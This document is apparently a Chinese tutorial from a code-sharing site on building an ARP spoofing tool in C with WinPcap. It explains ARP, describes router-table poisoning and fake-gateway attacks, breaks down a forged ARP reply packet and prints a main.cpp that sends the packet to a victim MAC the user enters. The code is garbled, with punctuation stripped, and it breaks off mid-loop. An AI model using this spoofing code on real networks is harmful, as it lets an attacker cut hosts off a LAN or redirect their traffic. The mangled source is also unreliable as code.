【VC++开源代码栏目提醒】:网学会员--在 VC++开源代码编辑为广大网友搜集整理了:C语言实现ARP攻击(附源码) - 培训资料绩等信息,祝愿广大网友取得需要的信息,参考学习。
用C语言实现ARP欺骗 ARP原理 ARP即地址解析协议实现通过IP地址得知其物理地址。
在TCP/IP网络环境下每个主机都分配了一个32位的IP地址这种互联网地址是在网际范围标识主机的一种逻辑地址。
为了让报文在物理网路上传送必须知道对方目的主机的物理地址。
这样就存在把IP地址变换成物理地址的地址转换
问题。
以以太网环境为例为了正确地向目的主机传送报文必须把目的主机的32位IP地址转换成为48位以太网的地址。
这就需要在互连层有一组服务将IP地址转换为相应物理地址这组协议就是ARP协议。
ARP数据报格式如下 什么是ARP欺骗 其实此起彼伏的瞬间掉线或大面积的断网大都是ARP欺骗在作怪。
ARP欺骗攻击已经成了破坏网吧经营的罪魁祸首是网吧老板和网管员的心腹大患。
从影响网络连接通畅的方式来看ARP欺骗分为二种一种是对路由器ARP表的欺骗另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。
它通知路由器一系列错误的内网MAC地址并按照一定的频率不断进行使真实的地址信息无法通过更新保存在路由器中结果路由器的所有数据只能发送给错误的MAC地址造成正常PC无法收到信息。
第二种ARP欺骗的原理是——伪造网关。
它的原理是建立假网关让被它欺骗的PC向假网关发数据而不是通过正常的路由器途径上网。
在PC看来就是上不了网了“
网络掉线了”。
本
程序基于C语言利用winpacp实现往局域网内发自定义的包以达到ARP欺骗的目的。
首先从http://www.winpcap.org/archive/下载4.0beta1-WpdPack和4.0beta1-WinPcap.exe版本很多不过最新版本需要64位的系统本人32位
系统用不了。
直接点击4.0beta1-WinPcap.exe安装然后在C:Program FilesWinPcap下打开rpcapd.exe服务。
然后在
VC中Tools→Options→Directories下配置include和library将4.0beta1-WpdPack中的include和library库包含进去本人把4.0beta1-WpdPack放在D盘根目录下结果如下 然后在Project→Settings→Link→Object/library Modules在文本框的末尾添加“wpcap.lib packet.lib ws2_32.lib”。
编译运行后按提示输入内容如下 1. DeviceNPF_GenericDialupAdapter Adapter for generic dialup and VPN capture 2. DeviceNPF_2A933761-706B-40E1-833D-7209ED0C0467 WAN PPP/SLIP Interface 3. DeviceNPF_547462F5-42E8-4FFB-85F9-54DA60C68BFD Broadcom NetXtreme Gigabit Ethernet Driver Microsofts Packet Scheduler 2是二次拨号的端口3是本地连接1不知道是什么没看懂。
这里选择3 输入的接收方MAC地址 00:1C:23:2D:65:44 是我自己的MAC地址学校寝室的安全貌似做的很好输入别人的MAC地址出不来东西。
目标IP地址 10.9.190.22 也是我自己的IP 此时生成的包如下 0 1c 23 2d 65 44 0 1b fc c2 1b b6 8 6 0 1 8 0 6 4 0 2 0 1b fc c2 1b b6 a 9 be 16 0 1c 23 2d 65 44 a 9 be 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 解释如下 以太网首部 0 1c 23 2d 65 44 //以太网目的地址手动输入 0 1b fc c2 1b b6 //以太网源地址假的固定 ARP帧 8 6 //帧类型0806表示ARP协议 0 1 //硬件类型0001以太网 8 0 //协议类型0800IP协议 6 //硬件地址长度 4 //协议地址长度 0 2 //op01表示请求02表示回复 0 1b fc c2 1b b6 //发送端以太网地址同首部中以太网源地址 a 9 be 16 //发送端IP地址假的固定 0 1c 23 2d 65 44 //目的以太网地址同首部中目的地址 a 9 be 16 //目的IP地址手动输入 填充 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 此时电脑右下角就会出现如下图的提示IP地址冲突。
附main.cpp
代码如下 include include include int main pcap_if_t alldevs//定义一个网络接口的一个节点 pcap_if_t d int i0inum0j char errbufPCAP_ERRBUF_SIZE u_char packet60 pcap_t adhandle / 获得设备列表 / if pcap_findalldevsalldevs errbuf -1 fprintfstderrError in pcap_findalldevs: sn errbuf exit1 / 打印
列表 / ford alldevs d NULL d d-next printfd. s i d-name if d-description printf sn d-description else printf No description availablen if i 0 printfnNo interfaces found Make sure WinPcap is installed.n return 0 printfEnter the interface number 1-d:i scanfd inum / 跳转到选中的适配器 / fordalldevs i0 i inum-1 dd-next i / 打开适配器 / if adhandle pcap_open_lived-name // 设备名 65536 // 要捕捉的数据包的部分 // 65535保证能捕获到不同数据链路层上的每个数据包的全部内容 1 // 混杂模式 1000 // 读取超时时间 errbuf // 错误缓冲池 NULL fprintfstderrnUnable to open the adapter. s is not supported by WinPcapn d-name / 释放设备列表 / pcap_freealldevsalldevs return -1 printf输入被攻击方的MAC地址如FF-FF-FF-FF-FF-FF则为广播n scanf2x-2x-2x-2x-2x-2xpacket0packet1packet2packet3packet4packet5 / 以太网目的地址/ / 以太网源地址当然是假的 / packet60x0e packet70x07 packet80X62 packet90x00 packet100X01 packet110x12 / 帧类型0806表示ARP协议 / packet120x08 packet130x06 / 硬件类型0001以太网 / packet140x00 packet150x01 / 协议类型0800IP协议 / packet160x08 packet170x00 /硬件地址长度/ packet180x06 /协议地址长度/ packet190x04 / op01表示请求02表示回复 / packet200x00 packet210x02 /发送端以太网地址同首部中以太网源地址/ fori22i